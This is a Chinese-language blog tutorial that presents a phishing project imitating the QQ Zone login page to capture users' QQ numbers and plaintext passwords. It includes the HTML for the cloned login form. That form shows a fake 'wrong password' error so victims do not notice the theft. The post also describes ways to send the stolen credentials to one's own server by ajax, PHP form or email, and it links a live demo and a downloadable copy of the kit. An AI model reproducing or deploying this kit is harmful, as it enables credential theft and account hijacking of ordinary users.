1.以前一直在看网上好多人在使用QQ钓鱼网站，一直不知道内部的实现原理是怎样的，带着好奇心于是使用一些黑科技技术去开发了一个QQ空间盗号项目，才对这个盗号的内部原理有了更深的理解，现把这个项目的实现步骤公布如下，废话不多说，先来看一下实现后的最终效果哈。 这个是最终的效果图： 629 2. 我们来测试一下看，能不能使用这个高仿版本的QQ空间登录页截获到用户的QQ用户名和密码？？？ 我们首先按照我么一般登录QQ空间或者QQ邮箱的方式哈，直接输入用户名QQ账号，和密码，然后点击登录按钮。 631 3.点击登录后的效果如下，我们看到弹出来一个对话框，而里面已经把我们的QQ账号和密码已经成功拦截了，而且最重要的是截获到的是明文密码，当然这个只是实现了拦截密码的基本操作，至于后期的把截获到的密码发送到咱么自己的服务器也有很多方式，这里也仅仅是测试一下效果哈。 632 4.然后我们看下还有什么提示，我们发现竟然上面提示的是你输入的用户名或密码错误，请重新输入。其实这里的处理基本上是不管用户输入的全部正确或者全部错误，基本上都会有这个提示，就当用户还在绞尽脑汁的想自己的密码的时候，殊不知密码和账号已经被拦截到了。下面我们来看下代码： 首先我这里使用了两个文件，一个是Login.html， 一个是qq.html。 633 5.qq.html文件就是QQ空间的整个页面，但是这里使用的是把login.html分开出来了，因为这样也更方便地便于我们开发，然后在qq.html文件使用标签的方式把login.html文件嵌入到这个主界面里面，具体的代码位置如下： 634 6.至于login.html其实就是对输入用户名和密码的那一块进行了处理，核心代码在后面也会一并放出去，欢迎大家下载，这一块的Html代码如下： 635 <font size="5"><font size="4"><body data-feedly-mini="yes"> <div class="login\_form"> <div id="top"> <div class="title">账号密码登录</div> <div class="info">推荐使用<a href="#">快速安全登录</a>，防止盗号。</div> <div class="error"> <span id="errorSpan">你输入的账号或密码不正确，请重新输入。</span> </div> </div> <div id="middle"> <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="0" style="margin:0px;"> <div class="uinArea" id="uinArea"> <input type="text" id="username" value="支持QQ号/邮箱/手机号登录"> </div> <div class="pwdArea" id="pwdArea"> <input type="text" value="密码" id="pwd"> </div> <div class="submit"> <a class="login\_button" href="javascript:void(0);" hidefocus="true"> <input type="button" tabindex="6" value="登 录" class="btn" id="login\_button"> </a> </div> </form> </div> <div id="bottom" style="display: block;"> <a href="https://ssl.ptlogin2.qq.com/ptui\_forgetpwd" class="link" id="forgetpwd" target="\_blank">忘了密码？</a> <span class="dotted">|</span> <a href="https://qzs.qq.com/qzone/v6/reg/index.html" class="link" target="\_blank">注册新帐号</a> <span class="dotted">|</span> <a class="link" id="feedback\_web" href="https://support.qq.com/products/14800" target="\_blank">意见反馈</a> </div> </div> </body></font></font>7.其他的部分就是利用JavaScript语言对用户的输出进行处理了，最后获取QQ用户名密码到自己的的服务器的思路有以下几种，供大家借鉴哈： 7.1 使用ajax请求方式向自己的服务器发送请求，然后在请求参数中把QQ账号和密码传过去就行了，这里可以使用POST或者GET方式进行传参 7.2 如果自己的是PHP服务器，可以使用一个Form表单进行传参，传参后把截获到的QQ账号和密码存储在服务器即可 7.3 同时也可以使用一些服务器发送邮件的方式，直接发送到有效信息到咱们的指定邮箱即可 最后我们再来看下一下腾讯官方的QQ空间登录界面，看你能找到咱们使用的这个黑科技和它有什么不同吗？？？ 630 本站以及开通了本地测试，查看地址：http://www.52tech.tech/res/52qq/qq.html QQ盗号项目下载链接：链接：https://share.weiyun.com/5ecofYP 密码：ypp6as </x-turndown>

教你使用黑科技来开发一个类似于QQ空间的QQ账号密码盗号项目